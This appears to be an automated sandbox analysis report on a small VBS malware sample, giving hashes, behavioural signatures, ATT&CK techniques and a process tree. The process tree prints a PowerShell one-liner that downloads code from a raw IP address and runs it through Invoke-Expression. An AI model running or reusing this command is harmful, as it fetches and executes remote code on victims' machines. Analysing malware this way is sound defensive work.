797d1e26627edc08b14115be88f873fb69209e857e3a6471ee0940b7edf4cf77

Analysis

max time kernel
164s
max time network
174s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2023 01:40

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General

Target

s.vbs
Size

458B
MD5

00e4ae64fe096d7698880cfa7dc7e2fe
SHA1

5afcc99faa626c33f5cbc58af3406e362d122a1f
SHA256

797d1e26627edc08b14115be88f873fb69209e857e3a6471ee0940b7edf4cf77
SHA512

4cfe8cd3a6cbd8296820633218640959baefb413da9549da69e245990a40c59e57a939707c01aef65840523550b8af59b4d4d3206e6a74f5e37cb3e9f4426b76

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	2220	powershell.exe
14	2220	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 2220	4176	WScript.exe	66
PID 4176 wrote to memory of 2220	4176	WScript.exe	66

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\s.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (Invoke-WebRequest 'http://91.167.246.171:44443' -UseBasicParsing).Content | Invoke-Expression;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1lj0gug.e52.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2220-5-0x00000257D30B0000-0x00000257D30D2000-memory.dmp

Filesize
136KB

Download
memory/2220-13-0x00000257EB300000-0x00000257EB310000-memory.dmp

Filesize
64KB

Download
memory/2220-12-0x00000257EB300000-0x00000257EB310000-memory.dmp

Filesize
64KB

Download
memory/2220-11-0x00000257EB300000-0x00000257EB310000-memory.dmp

Filesize
64KB

Download
memory/2220-10-0x00007FF9A7180000-0x00007FF9A7C41000-memory.dmp

Filesize
10.8MB

Download
memory/2220-14-0x00007FF9A7180000-0x00007FF9A7C41000-memory.dmp

Filesize
10.8MB

Download
memory/2220-15-0x00000257EB300000-0x00000257EB310000-memory.dmp

Filesize
64KB

Download
memory/2220-16-0x00000257EB300000-0x00000257EB310000-memory.dmp

Filesize
64KB

Download
memory/2220-19-0x00007FF9A7180000-0x00007FF9A7C41000-memory.dmp

Filesize
10.8MB

Download